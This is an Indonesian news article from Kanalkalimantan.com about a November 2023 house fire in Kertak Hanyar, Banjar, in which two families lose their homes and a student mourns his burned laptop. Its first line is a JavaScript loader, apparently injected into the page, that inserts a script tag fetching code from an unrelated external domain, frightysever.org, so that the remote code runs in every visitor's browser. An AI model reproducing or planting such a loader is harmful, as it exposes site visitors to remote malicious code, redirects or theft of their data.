(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kobaran api di permukiman Gang Ar Rahman RT 13 RW 04 Jalan A Yani Km 8,600, Kecamatan Kertak Hanyar, Kabupaten Banjar, terjadi sekitar pukul 10.00 Wita. Abdul Hadi tak berhasil selamatkan laptop milik anak perempuan dan laki-laki saat kebakaran terjadi, Selasa (28/11/2023) pagi.
Dua buah rumah yang terbakar yaitu nomor rumah 24 milik Hatim yang dihuni 5 jiwa dan nomor rumah 25 milik Abdul Hadi juga dihuni 5 jiwa.
Kanalkalimantan.com menemui pemilik rumah yang terdampak kebakaran tersebut. Abdul Hadi saat berbincang masih bisa melempar senyum.
Ia dan istri beserta satu anaknya berada di dalam rumah saat terjadinya kebakaran di rumah tetangganya, kemudian merembet ke rumahnya di lantai dua. “Pertama dilahap api setelah itu kami langsung keluar rumah
karena api membesar,” ujar Abdul Hadi.
Baca juga: Jalan Sistem Satu Arah di Banjarmasin Masih Dilanggar, Kawasan Siring Menara Pandang Paling Sering
Istri Abdul Hadi menceritakan, ia dan suami serta anaknya sedang berada di dalam rumah saat kejadian kebakaran di tengah hujan lebat itu. “Kada sadar ada api sudah membesar di atas loteng rumah dan kami langsung keluar,” ujarnya.
Tertegun dan ada juga rasa panik, tak sempat menyelamatkan TV dan lain sebagainya.
“Anakku yang perempuan datang dari tempat kerjanya mendengar rumah kebakaran. Setiba di sini ia sempat pingsan,” ucapnya
Baca juga: Robohnya Paru-Paru Dunia dan Lumbung Pangan, Jika Masyarakat Dayak Abai Eksplorasi di Bumi Borneo
Sedangkan anak laki-lakinyakuliah di Poliban Banjarmasin saat tiba di rumah langsung histeris.
“Karena ini musibah kada bisa apa-apa kita nak. Selamatkan TV aja tidak sempat apalagi menyelamatkan dua laptop anakku,” ucap penuh sesal.
Tampak ekspresi anak laki-lakinya tidak terima dan terus berusaha untuk mencari laptop yang sudah terbakar.
“Kayak apa laptop ku, dataku, seragam kuliah ku,” ucap Rasyid sambil memegang kepala. Setelah itu ia melepaskan sepatunya dengan melemparnya. Tampak kekesalan dan penyesalan di wajahnya.
Orangtuanya pun tetap berusaha memberikan penjelasan dan mencoba menenangkan anak-anaknya.
Baca juga: Fase Bulan Purnama, Masyarakat Pesisir Kalsel Diminta Waspada Banjir Rob
“Kemarin beli beras dan sembako lainnya hasil gaji anakku ternyata tak sempat dimakan,” kata istri Abdul Hadi sambil menangis.
“Adanya musibah ini, mudah-mudahan diganti Allah lebih baik lagi,” tutupnya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.